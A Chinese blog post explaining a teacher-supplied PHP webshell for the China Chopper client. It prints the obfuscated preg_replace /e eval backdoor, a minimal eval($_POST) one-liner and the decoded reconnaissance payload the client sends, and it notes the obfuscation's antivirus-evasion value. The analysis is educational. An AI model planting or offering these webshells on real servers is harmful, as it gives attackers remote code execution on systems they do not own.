抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

本栏目前言

以前总是和别人一起研究过许多平常没咋注意,但是又非常有意思的小姿势,然后弄完后,但过了许久不用细节可能就忘的差不多了。所以想着开了个小栏目来记录一下一些我平常没咋注意到的、有趣的安全相关内容,可能更新也不是特别的频繁,毕竟不是天天都能遇到这些奇奇怪怪的点的,哈哈。

不过栏目的初衷是:在接触新东西时,遇到不理解或者感觉理解不透彻的,可以给自己或别人解答一波,顺便记录一下,以后可以回来看看,感觉挺有意思。

就感觉一般我们在学习新东西的时候,都是充满好奇心的,总是好奇这好奇那,这理解起来怪怪的,那不懂,现在有了点基础,自己遇到或别人问到了相关的,以前没注意到的,没能回答上来的,没能很理解的,也可以研究分析一波原理,感觉挺有趣的,所以栏目名称是有趣的安全小记 (

正题

这要和一个在备考 PTE 的同学说起,这是3月份的事情了(之前为了解释清楚写了个文档,一直在语雀扔着)

这个菜刀连接马长这样的

1
2
3
4
5
6
<?php 
@$a = $_POST['Hello'];
if(isset($a)){
@preg_replace("/\[(.*)\]/e",'\\1',base64_decode('W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10='));
}
?>

不过他说连不上,我就奇怪了,你们老师发的马竟然连不上,不应该呀。。

然后和他激烈的讨论了一波,无果

image-20210518000346174

回到宿舍分析了一波,首先看马的主要函数 preg_replace

  • 第一个参数表示匹配的模式,这里是匹配 [(.*)] 里的内容,

    • /e 表示把第二个参数里的内容当作php代码来解析
  • 第三个参数base64解码为 [@eval(base64_decode($_POST[z0]));]

  • 第二个参数 \\1 在正则表达式里表示匹配的第一个括号中的内容

因此

1
@preg_replace("/\[(.*)\]/e",'\\1',base64_decode('W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10=')); 

表示

1
@eval(base64_decode($_POST[z0]));

那为什么密码是 Hello 呢,来观察一下中国菜刀连接的包,

https://github.com/raddyfiy/caidao-official-version

  • 2016 版本不行,抓包后发现,连接机制不一样…
  • 2014 版本可以正常连接
  • 2011版本也可以正常连接,看包也更直观看出,2333

以 2014版本为例,wireshark 抓包

image.png

可以看到菜刀,无论你密码是啥,密码参数只是跳板,他会传入一些值,然后上面我们感到疑惑的马 if 不为空即可过,然后 z0 才是真正的马。base解码后为

1
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname(__FILE__);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();

平常我们的木马是类似于这样的

1
<?php eval($_POST['abc']); ?>

我们传入的密码是 abc ,其实他是会把 abc 传入的东西 eval 一下变成代码,然后把 z0 值传入,如果成功,就成功啦~

所以上面的 z0 不用传,就是因为菜刀客户端会自动传。2016版不行,因为新版机制不一样了,2333

这是 2011 版本菜刀的包,感觉比 2014版更清晰一点~

image.png

感觉这样一看就捋顺了,顺便收获了人生中语雀的第 1 个赞,泪目

image-20210518000840645

不过还是有点佩服,给这个马的作者对菜刀的机制研究的应该算是比较深入和透彻了,模板.jpg

感觉这马还能起到一丢丢的免杀作用,2333,尤其是在 2011年的时候,估计是比较不错的连接马了。

评论